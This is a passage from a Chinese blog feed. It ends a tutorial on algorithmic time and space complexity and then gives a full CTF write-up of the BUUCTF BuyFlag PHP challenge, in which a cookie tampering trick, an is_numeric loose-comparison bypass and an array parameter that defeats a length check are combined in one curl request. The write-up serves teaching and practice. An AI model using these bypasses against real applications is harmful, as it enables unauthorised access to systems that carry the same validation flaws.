有序名单[中] &lt; 目标:</span><br><span class="line">            左 = 中 + <span class="number">1</span>        <span class="comment"># 扔掉左半边</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            右 = 中 - <span class="number">1</span>        <span class="comment"># 扔掉右半边</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br></pre></td></tr></table></figure><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// C++ —— 同一件事</span></span><br><span class="line"><span class="function"><span class="type">bool</span> <span class="title">binary_search_sorted</span><span class="params">(<span class="type">const</span> vector&lt;string&gt;&amp; a, <span class="type">const</span> string&amp; target)</span> </span>&#123;</span><br><span class="line">    <span class="type">int</span> lo = <span class="number">0</span>, hi = (<span class="type">int</span>)a.<span class="built_in">size</span>() - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (lo &lt;= hi) &#123;</span><br><span class="line">        <span class="type">int</span> mid = lo + (hi - lo) / <span class="number">2</span>;   <span class="comment">// 这么写是为了防止 lo+hi 溢出</span></span><br><span class="line">        <span class="keyword">if</span> (a[mid] == target)      <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> (a[mid] &lt; target)  lo = mid + <span class="number">1</span>;  <span class="comment">// 扔掉左半边</span></span><br><span class="line">        <span class="keyword">else</span>                       hi = mid - <span class="number">1</span>;  <span class="comment">// 扔掉右半边</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>为什么是 $\log$？我们来推一下。n 本本子，每次砍一半：</p><script type="math/tex; mode=display">n \to \frac{n}{2} \to \frac{n}{4} \to \dots \to 1</script><blockquote><p>像剥洋葱，每次把剩下的对半撕。只不过这个洋葱剥 20 层就没了——哪怕它有 100 万片。</p></blockquote><p>砍了几次？设砍了 k 次：</p><script type="math/tex; mode=display">\frac{n}{2^k} = 1 \;\Longrightarrow\; 2^k = n \;\Longrightarrow\; k = \log_2 n</script><blockquote><p>这就是 log 的来历。「我要撕几次才能把这一摞纸撕成一张？」答案给出来就是 $\log_2 n$。所以撕 100 万张纸只要 20 下，<strong>因为纸是成摞撕的</strong>。</p></blockquote><p>所以：</p><script type="math/tex; mode=display">T(n) = O(\log n)</script><blockquote><p>log 是复杂度里的「温柔型选手」，数据翻一倍，它只多干<strong>一趟</strong>活。</p></blockquote><p>这两个差多远？我给你算个实在数。一本 100 万条的名单：</p><ul><li>做法 A：最坏要找 <strong>1,000,000</strong> 次。</li><li>做法 B：$\log_2 1000000 \approx 20$ 次。</li></ul><p><strong>20 次。</strong></p><p>我第一次算这个的时候是有点恼怒的。你想，你妹妹找本子找两个小时，你只消翻 20 下。就这么个”每次都从中间下手”的笨办法，把人家的两个小时变成了 20 下。这不是什么高深技巧，无非是<strong>换了个问法</strong>，不问”下一个在哪儿”，问”它可能在左半边还是右半边”。</p><p><strong>这就是我一直在说的事。不懂的东西你没法简单地说出来，等你真能简单地说出来了，你会发现它本来就很朴素。</strong></p><p>（顺便：C++ 标准库的 <code>std::binary_search</code>、Python 的 <code>bisect</code> 模块，干的就是这件事。别人已经写好了，你直接叫即可。）</p><hr><h2 id="五、例子二：两两都比较（-O-n-2-），以及它为什么可怕"><a href="#五、例子二：两两都比较（-O-n-2-），以及它为什么可怕" class="headerlink" title="五、例子二：两两都比较（$O(n^2)$），以及它为什么可怕"></a>五、例子二：两两都比较（$O(n^2)$），以及它为什么可怕</h2><p>给你一个名单，问你：<strong>谁和谁同名？</strong></p><p>最笨的做法，是让每个人跟其他每个人都比一遍：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Python</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">找重名</span>(<span class="params">名单</span>):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(名单)):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(名单)):     <span class="comment"># 注意这个内层循环</span></span><br><span class="line">            <span class="keyword">if</span> i != j <span class="keyword">and</span> 名单[i] == 名单[j]:</span><br><span class="line">                <span class="keyword">return</span> (名单[i], 名单[j])</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br></pre></td></tr></table></figure><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// C++ —— 同一件事</span></span><br><span class="line"><span class="function">pair&lt;string,string&gt; <span class="title">find_duplicate</span><span class="params">(<span class="type">const</span> vector&lt;string&gt;&amp; a)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">size_t</span> i = <span class="number">0</span>; i &lt; a.<span class="built_in">size</span>(); ++i)</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">size_t</span> j = <span class="number">0</span>; j &lt; a.<span class="built_in">size</span>(); ++j)</span><br><span class="line">            <span class="keyword">if</span> (i != j &amp;&amp; a[i] == a[j])</span><br><span class="line">                <span class="keyword">return</span> &#123;a[i], a[j]&#125;;</span><br><span class="line">    <span class="keyword">return</span> &#123;&#125;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>为什么会变成 n²？因为这是<strong>两层</strong>循环：外层跑 n 次，每跑一次内层又跑 n 次。乘起来：</p><script type="math/tex; mode=display">T(n) = n \times n = n^2 = O(n^2)</script><blockquote><p>两层循环不神秘，就是「<strong>每个人挨个跟所有人握手</strong>」，握手次数 = 人数 × 人数。人一多，握到手软。</p></blockquote><p>看<strong>图二</strong>右边那条红色曲线，那就是它。</p><p>为什么我说它可怕？拿数字说话：</p><div class="table-container"><table><thead><tr><th>n（人数）</th><th>n²（比较次数）</th><th>假设每次比较 1 微秒</th></tr></thead><tbody><tr><td>100</td><td>10,000</td><td>0.01 秒（没感觉）</td></tr><tr><td>1,000</td><td>1,000,000</td><td>1 秒（还行）</td></tr><tr><td>10,000</td><td>100,000,000</td><td>100 秒（你开始眨眼）</td></tr><tr><td>100,000</td><td>10,000,000,000</td><td><strong>2.8 小时</strong>（你可以睡一觉）</td></tr></tbody></table></div><p><strong>注意这个感觉</strong>，n 变 1000 倍，时间变 <strong>1,000,000 倍</strong>。这就是平方的恐怖之处，它<strong>慢得越来越离谱</strong>。</p><p>所以我让你记住一句话：</p><blockquote><p><strong>一个 $O(n^2)$ 的算法能不能用，不取决于你的电脑有多好，取决于 n 会不会长大。</strong></p></blockquote><p>电脑快 4 倍，你只能扛住 n 翻一倍。而现实里的数据，往往不止翻一倍。</p><hr><h2 id="六、例子三：排序，以及为什么好的排序是-n-log-n"><a href="#六、例子三：排序，以及为什么好的排序是-n-log-n" class="headerlink" title="六、例子三：排序，以及为什么好的排序是 $n\log n$"></a>六、例子三：排序，以及为什么好的排序是 $n\log n$</h2><p>排序的朴素做法是：每次从剩下的里面挑一个最小的放前面（选择排序）。挑一个要扫一遍，扫 n 次：</p><script type="math/tex; mode=display">T(n) = O(n^2)</script><blockquote><p>挑出最小的放前面，每挑一次都得把剩下的人<strong>全体扫一遍</strong>。你这不是在排序，你是在<strong>点名</strong>，而且每挑一个都重新点一次名。</p></blockquote><p>而聪明做法（归并排序、快速排序）的核心思想是：<strong>先把问题切一半，解决两个小问题，再拼起来。</strong></p><script type="math/tex; mode=display">T(n) = 2\,T\!\left(\frac{n}{2}\right) + O(n)</script><blockquote><p>「把活儿劈成两半干（$2T(n/2)$），干完再花点力气粘回去（$O(n)$）」，分治的哲学就这一句，<strong>会分活儿的人不吃亏</strong>。</p></blockquote><p>这个式子的意思是一行一行读出来：</p><ul><li>$T(n)$：排 n 个数要花的时间；</li><li>右边：<strong>分成两个 n/2 的问题</strong>（两个 $T(n/2)$），</li><li>再<strong>花 O(n) 把它们拼回一起</strong>。</li></ul><p>解这个式子（一层层展开，得到 $\log n$ 层，每层总共 O(n)）：</p><script type="math/tex; mode=display">T(n) = O(n \log n)</script><blockquote><p>听起来很唬人，其实只是「n 个东西，每个花 $\log n$ 步就找到自己的位置」。这是排序界的<strong>天花板</strong>。</p></blockquote><p>对比一下（还是 100 万条）：</p><div class="table-container"><table><thead><tr><th>算法</th><th>操作次数</th><th>大致倍数</th></tr></thead><tbody><tr><td>$O(n^2)$ 选择排序</td><td>$10^{12}$</td><td>1</td></tr><tr><td>$O(n\log n)$ 归并排序</td><td>$2 \times 10^{7}$</td><td><strong>约 1/50000</strong></td></tr></tbody></table></div><p><strong>这就是为什么全世界的库函数里，排序都不用”挑最小”那种笨办法。</strong> 这跟学术洁癖没关系，差的是 5 万倍。</p><hr><h2 id="七、空间复杂度：不光要能跑，还要占得住"><a href="#七、空间复杂度：不光要能跑，还要占得住" class="headerlink" title="七、空间复杂度：不光要能跑，还要占得住"></a>七、空间复杂度：不光要能跑，还要占得住</h2><p>到这里我们一直在数<strong>时间</strong>。但还有另一半故事：<strong>它要占多大地方。</strong></p><p>这个不难理解。你去搬东西：</p><ul><li><strong>时间</strong>=你跑了几趟；</li><li><strong>空间</strong>=你要多大的仓库。</li></ul><p><strong>空间复杂度</strong>问的是同一类问题：</p><blockquote><p><strong>数据量 n 变大，占用的内存会涨多快？</strong></p></blockquote><p>看这段代码：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 空间 O(1)：不管 n 多大，只多用一个格子</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">求和_循环</span>(<span class="params">列表</span>):</span><br><span class="line">    总数 = <span class="number">0</span>                      <span class="comment"># 一个变量</span></span><br><span class="line">    <span class="keyword">for</span> x <span class="keyword">in</span> 列表:</span><br><span class="line">        总数 += x</span><br><span class="line">    <span class="keyword">return</span> 总数</span><br></pre></td></tr></table></figure><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// C++ —— 同样是 O(1)</span></span><br><span class="line"><span class="function"><span class="type">long</span> <span class="type">long</span> <span class="title">sum_loop</span><span class="params">(<span class="type">const</span> vector&lt;<span class="type">int</span>&gt;&amp; v)</span> </span>&#123;</span><br><span class="line">    <span class="type">long</span> <span class="type">long</span> total = <span class="number">0</span>;          <span class="comment">// 一个变量</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> x : v) total += x;</span><br><span class="line">    <span class="keyword">return</span> total;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>再看这个：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 空间 O(n)：每次递归都新开一份</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">求和_递归</span>(<span class="params">列表</span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> 列表:                 <span class="comment"># 基线情形</span></span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line">    <span class="keyword">return</span> 列表[<span class="number">0</span>] + 求和_递归(列表[<span class="number">1</span>:])</span><br></pre></td></tr></table></figure><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// C++ —— 同样是 O(n)</span></span><br><span class="line"><span class="function"><span class="type">long</span> <span class="type">long</span> <span class="title">sum_rec</span><span class="params">(<span class="type">const</span> vector&lt;<span class="type">int</span>&gt;&amp; v, <span class="type">size_t</span> i = <span class="number">0</span>)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (i == v.<span class="built_in">size</span>()) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">return</span> v[i] + <span class="built_in">sum_rec</span>(v, i + <span class="number">1</span>);   <span class="comment">// 每一层都还没返回</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>为什么递归是 O(n) 空间？</strong> 因为计算机执行递归，就像你打电话找人，<strong>每一层的人都在线上等着</strong>，谁都没挂。第 1 层调用第 2 层，第 2 层调用第 3 层……到第 n 层时，前面 n 层<strong>全都在内存里挂着</strong>。看<strong>图三</strong>右边，那摞起来的柱子就是这个意思。</p><blockquote><p><strong>一个我必须说实话的地方</strong>：这段 Python 里 <code>列表[1:]</code> 还会<strong>额外复制一份新列表</strong>，所以它其实更浪费。真正的工程写法会用下标 <code>i</code> 往前挪（像上面那段 C++ 那样），避免复制。这算个挺好的教训，<strong>代码怎么写，直接决定复杂度。</strong> 我一开始举这个例子就是为了让你看见它。</p></blockquote><p><img src="/attachments/fig3_空间与取舍.png" alt="图三：空间与取舍"></p><hr><h2 id="八、最有用的那一招，空间换时间"><a href="#八、最有用的那一招，空间换时间" class="headerlink" title="八、最有用的那一招，空间换时间"></a>八、最有用的那一招，空间换时间</h2><p>如果你今天只带走一件事，带走这个。</p><p>回到第五节那个”两两比较找重名”。有没有办法不找死？</p><p><strong>有。开个登记本。</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 空间 O(n)，时间 O(n)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">找重名_快</span>(<span class="params">名单</span>):</span><br><span class="line">    登记本 = <span class="built_in">set</span>()                 <span class="comment"># 用一点额外空间</span></span><br><span class="line">    <span class="keyword">for</span> 名字 <span class="keyword">in</span> 名单:</span><br><span class="line">        <span class="keyword">if</span> 名字 <span class="keyword">in</span> 登记本:          <span class="comment"># 查登记本几乎是瞬间</span></span><br><span class="line">            <span class="keyword">return</span> 名字</span><br><span class="line">        登记本.add(名字)</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br></pre></td></tr></table></figure><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// C++ —— 同一件事</span></span><br><span class="line"><span class="function">optional&lt;string&gt; <span class="title">find_dup_fast</span><span class="params">(<span class="type">const</span> vector&lt;string&gt;&amp; a)</span> </span>&#123;</span><br><span class="line">    unordered_set&lt;string&gt; seen;    <span class="comment">// 用一点额外空间</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">const</span> <span class="keyword">auto</span>&amp; n : a) &#123;</span><br><span class="line">        <span class="keyword">if</span> (seen.<span class="built_in">count</span>(n)) <span class="keyword">return</span> n;</span><br><span class="line">        seen.<span class="built_in">insert</span>(n);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">nullopt</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们干了什么？我们<strong>多花了一点内存</strong>（那个”登记本”），换来时间从 $O(n^2)$ 变成 $O(n)$。</p><p>n=100 时：从 10,000 次比较，变成 100 次。<strong>图三</strong>左边那两根柱子就是这个对比。</p><p><strong>代价是</strong>：多占 O(n) 的内存来存登记本。</p><blockquote><p><strong>这是一笔交易。</strong> 时间和空间本来就是一对可以互换的东西，你几乎总是在拿一个换另一个。整个计算机科学里一半的工程技巧，说到底就是在做这笔买卖。</p></blockquote><hr><h2 id="九、别骗自己：三个常见的自欺"><a href="#九、别骗自己：三个常见的自欺" class="headerlink" title="九、别骗自己：三个常见的自欺"></a>九、别骗自己：三个常见的自欺</h2><p>这一段是我最想说的。因为<strong>复杂度这东西，特别容易让人假装懂了</strong>。</p><p><strong>① “我测过了，它很快。”</strong></p><p>看<strong>图二</strong>。n=8 的时候，$O(n^2)$ 和 $O(n)$ 的线是重合的。你用 8 个数据测，然后下结论说”我的代码没问题”，这在实验设计上就是个错误。你没测错，你只是<strong>测了一个不说明任何问题的东西</strong>。</p><p><strong>② “我用了最新的库，所以肯定快。”</strong></p><p>用了复杂算法库里最快的函数，不代表你的<strong>那段代码</strong>变快了。工具是形式，你的算法才是实质。<strong>去掉工具的名字，看你的代码在做什么</strong>，这才是真的。</p><p><strong>③ “大 O 越大就越慢。”</strong></p><p>不对，是”<strong>n 够大以后</strong>越慢”。$O(n^2)$ 的 C++ 代码跑赢一个 $O(n)$ 的 Python 代码，太正常了。大 O 比较的是<strong>自己和自己</strong>在不同 n 下的表现，不是两门语言打架。</p><hr><h2 id="十、我不知道的部分（以及它为什么不丢人）"><a href="#十、我不知道的部分（以及它为什么不丢人）" class="headerlink" title="十、我不知道的部分（以及它为什么不丢人）"></a>十、我不知道的部分（以及它为什么不丢人）</h2><p>我不想让这篇文章显得比它实际的样子更完整。有几个地方我要说清楚：</p><ul><li><strong>大 O 只是”上限”</strong>，它不管你平时的实际快慢。现实中还有”平均复杂度””最坏复杂度”的区别。快速排序最坏是 $O(n^2)$，但你天天在用它，因为它<strong>平均</strong>是 $O(n\log n)$，而且常数很小。<strong>“理论最坏”和”实际天天”完全是两回事。</strong></li><li><strong>常数真的会被忽略吗？</strong> 数学上会。工程上不会。一个常数是 1000 的 $O(n)$ 算法，在 n 小于某个数之前，跑不过一个常数是 1 的 $O(n^2)$。所以真实的程序里要”两个都写，小了用笨的、大了用聪明的”，这个技巧叫混合策略，Python 和 C++ 的排序里都藏着它。</li><li><strong>内存的”快”不止一层。</strong> 你的 CPU 里有一层层的缓存（缓存比内存快几百倍）。两个复杂度<strong>一样</strong>的算法，谁把数据摆得更近，谁就真快。这部分（cache-oblivious、内存局部性）我不知道得足够深，就不装懂了。</li><li><strong>我这篇文章里的所有时间估算</strong>（比如”1 微秒一次比较”）都是为了让你有感觉的<strong>随手假设</strong>，不是实测数据。真要看真实数字，你得自己在你的机器上跑一遍，<strong>而且要用足够大的 n</strong>。</li></ul><p>最后一条我不知道，但我认为它比前面所有我知道的都重要：</p><blockquote><p><strong>“我不知道”不是终点。它是你唯一能站上去的地板。</strong></p></blockquote><hr><h2 id="十一、一句话，带走就行"><a href="#十一、一句话，带走就行" class="headerlink" title="十一、一句话，带走就行"></a>十一、一句话，带走就行</h2><p>如果你明天全忘了，只记得一句话，我希望是这句：</p><blockquote><p><strong>「东西变多了，你会怎么变慢」，这才是复杂度真正在问的。</strong></p></blockquote><p>再用一句话配上一个动作：</p><blockquote><p>$O(1) &lt; O(\log n) &lt; O(n) &lt; O(n\log n) &lt; O(n^2)$</p><p>这条链背下来比背单词有用。但它有个前提，<strong>「n 足够大的时候」</strong>。不加这五个字，这条链就是耍流氓。</p><p><strong>但顺序里那个”&lt;”要加前缀：「n 足够大时」。</strong></p></blockquote><hr><h2 id="十二、自己试（别光看，看没用）"><a href="#十二、自己试（别光看，看没用）" class="headerlink" title="十二、自己试（别光看，看没用）"></a>十二、自己试（别光看，看没用）</h2><p>我最后想说：<strong>这篇文章你读完，你什么都没学会。</strong></p><p>难不难先不说，光<strong>读</strong>不算学。要用上手，你得自己动手。给你三个练习，每个都只要几十行：</p><ol><li><strong>亲手做个实验</strong>：把第四节的两个查找函数各写一遍，n 取 1000、10000、100000，<strong>真的计时</strong>，把结果画成表格。<br><em>你会看到你的电脑”骗”了你多少次。</em></li><li><strong>把 $O(n^2)$ 改成 $O(n)$</strong>：用第五节的”找重名”，先用双重循环，再用哈希表，n 取 10000，比较真实耗时。<br><em>你会第一次真切体会”空间换时间”不是一句口号。</em></li><li><strong>把它讲给别人</strong>：找一个完全不懂编程的人，用<strong>找本子</strong>这个例子给他讲一遍二分查找，直到他问出”那为什么不一开始就翻中间”，<strong>到那一刻你就懂了。</strong></li></ol><p>如果你讲不清楚，别急着说自己笨。<strong>说不清楚的地方，正是你还没懂的地方。</strong> 这就是我全部的方法，没什么神秘的。</p><hr>]]>
    </content>
    <id>https://moxin1044.github.io/posts/6751/</id>
    <link href="https://moxin1044.github.io/posts/6751/"/>
    <published>2026-10-13T20:58:06.000Z</published>
    <summary>用妹妹在书包里找作业本这件事，讲清时间复杂度和空间复杂度——含 C++/Python 双版本代码、公式推导与三张配图，初中生也能读懂。</summary>
    <title>时间复杂度与空间复杂度详解</title>
    <updated>2026-10-13T21:12:25.571Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="网络安全" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    <category term="CTF" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/"/>
    <category term="BUUCTF" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/BUUCTF/"/>
    <category term="WEB" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/BUUCTF/WEB/"/>
    <category term="BUUCTF" scheme="https://moxin1044.github.io/tags/BUUCTF/"/>
    <category term="WEB" scheme="https://moxin1044.github.io/tags/WEB/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>这是一道经典的 PHP 代码审计题。题目来自 <strong>BUUCTF / CTF²</strong> 平台的 <strong>[极客大挑战 2019]BuyFlag</strong>，主要考察 <code>is_numeric</code> 绕过、松散比较，以及用<strong>数组</strong>绕过长度校验。记录一下完整解题过程。</p><h1 id="题目信息"><a href="#题目信息" class="headerlink" title="题目信息"></a>题目信息</h1><ul><li>平台：BUUCTF（CTF²）</li><li>类型：WEB</li><li>目标：花掉 <code>100000000</code> money，买到 flag</li></ul><h1 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h1><p>首页菜单里有 <code>Home</code> / <code>PayFlag</code>，进入 <code>pay.php</code>：</p><blockquote><p>Flag need your 100000000 money<br>If you want to buy the FLAG:<br>You must be a student from CUIT!!!<br>You must be answer the correct password!!!</p></blockquote><p><img src="../../attachments/image-20261014052001111.png" alt="pay.php 页面"></p><p>查看页面源码，<strong>底部 HTML 注释</strong>直接泄露了 <code>password</code> 的校验逻辑：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">~~~post money <span class="keyword">and</span> password~~~</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;password&#x27;</span>])) &#123;</span><br><span class="line">    <span class="variable">$password</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;password&#x27;</span>];</span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">is_numeric</span>(<span class="variable">$password</span>)) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;password can&#x27;t be number&lt;/br&gt;&quot;</span>;</span><br><span class="line">    &#125;<span class="keyword">elseif</span> (<span class="variable">$password</span> == <span class="number">404</span>) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;Password Right!&lt;/br&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>结合页面提示与回显，程序依次校验三件事：</p><ol><li><strong>是不是 CUIT 学生</strong> —— 回显 <code>you are Cuiter</code>，由 <strong>Cookie <code>user=1</code></strong> 控制；</li><li><strong>密码是否正确</strong> —— 需满足 <code>is_numeric($password) === false</code> 且 <code>$password == 404</code>；</li><li><strong>钱够不够 100000000</strong> —— 且对入参长度有限制（回显 <code>Nember lenth is too long</code>）。</li></ol><h2 id="1）password：is-numeric-松散比较绕过"><a href="#1）password：is-numeric-松散比较绕过" class="headerlink" title="1）password：is_numeric + 松散比较绕过"></a>1）password：<code>is_numeric</code> + 松散比较绕过</h2><ul><li><code>404</code> 是纯数字，会被 <code>is_numeric</code> 拦下；</li><li>在 <code>404</code> 后面加一个<strong>空格</strong>得到 <code>&quot;404 &quot;</code>：<code>is_numeric(&quot;404 &quot;)</code> 为 <strong>false</strong>（带空白不算合法数字），而 <code>&quot;404 &quot; == 404</code> 因为松散比较会先转成数字，等于 404 为 <strong>true</strong>。</li><li>因此 <code>password=404</code>（注意末尾有一个空格）即可通过校验。</li></ul><blockquote><p>视 PHP 版本不同，<code>404%00</code>、<code>404.0</code> 等写法也可能生效。</p></blockquote><h2 id="2）身份：Cookie-user-1"><a href="#2）身份：Cookie-user-1" class="headerlink" title="2）身份：Cookie: user=1"></a>2）身份：<code>Cookie: user=1</code></h2><p>服务端通过 Cookie 判断是否为 CUIT 学生，把它设为 <code>1</code> 即可。</p><h2 id="3）money：用数组绕过长度限制"><a href="#3）money：用数组绕过长度限制" class="headerlink" title="3）money：用数组绕过长度限制"></a>3）money：用数组绕过长度限制</h2><ul><li>直接提交 <code>money=100000000</code>（9 位数）会触发长度限制，回显 <code>Nember lenth is too long</code>；</li><li>尝试科学计数法 <code>1e8</code>，长度虽然短，但服务端按整型处理导致比较失败，回显 <code>you have not enough money,loser~</code>；</li><li>关键一步：把 <code>money</code> 以<strong>数组</strong>形式提交 <code>money[]=100000000</code>。此时 <code>strlen()</code> 无法对数组取长度（返回 null / 触发告警），<strong>长度校验被绕过</strong>，同时该值在比较中也被放行，直接输出 flag。</li></ul><blockquote><p>这是 PHP 里常见的技巧：<strong>凡是 <code>strlen</code> / <code>is_numeric</code> / 正则等“针对字符串”的校验，传入数组往往会让校验函数失效</strong>。</p></blockquote><h1 id="解题步骤"><a href="#解题步骤" class="headerlink" title="解题步骤"></a>解题步骤</h1><p>一条请求即可拿下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">curl -s -X POST <span class="string">&#x27;http://&lt;target&gt;/pay.php&#x27;</span> \</span><br><span class="line">  -H <span class="string">&#x27;Cookie: user=1&#x27;</span> \</span><br><span class="line">  -d <span class="string">&#x27;password=404 &#x27;</span> \</span><br><span class="line">  -d <span class="string">&#x27;money[]=100000000&#x27;</span></span><br></pre></td></tr></table></figure><p>服务器返回（本题 flag 为<strong>动态</strong>生成，此处略去具体值）：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">you are CuiterPassword Right!CTF2&#123;************-****-****-****-************&#125;</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20261014052001222.png" alt="成功拿到 flag"></p><h1 id="Flag"><a href="#Flag" class="headerlink" title="Flag"></a>Flag</h1><p>本题 flag 为<strong>动态</strong>生成（每次环境不同），成功利用后服务器会返回形如 <code>CTF2{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}</code> 的字符串，此处不再贴出具体值。</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><ul><li><code>is_numeric()</code> 与松散比较 <code>==</code> 的差异 —— 用 <code>404</code>（尾部空格）绕过；</li><li>身份 / 权限判断藏在 <strong>Cookie</strong> 里 —— 尝试 <code>user=1</code>；</li><li>长度 / 正则类校验对<strong>数组</strong>入参失效 —— 用 <code>money[]=...</code> 绕过。</li></ul><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><ul><li>BUUCTF：[极客大挑战 2019]BuyFlag</li></ul>]]>
    </content>
    <id>https://moxin1044.github.io/posts/b7f1/</id>
    <link href="https://moxin1044.github.io/posts/b7f1/"/>
    <published>2026-10-13T20:09:00.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【BUUCTF】WEB-刷题记录-[极客大挑战 2019]BuyFlag</title>
    <updated>2026-10-13T20:16:45.657Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="漏洞" scheme="https://moxin1044.github.io/categories/%E6%BC%8F%E6%B4%9E/"/>
    <category term="Web" scheme="https://moxin1044.github.io/categories/%E6%BC%8F%E6%B4%9E/Web/"/>
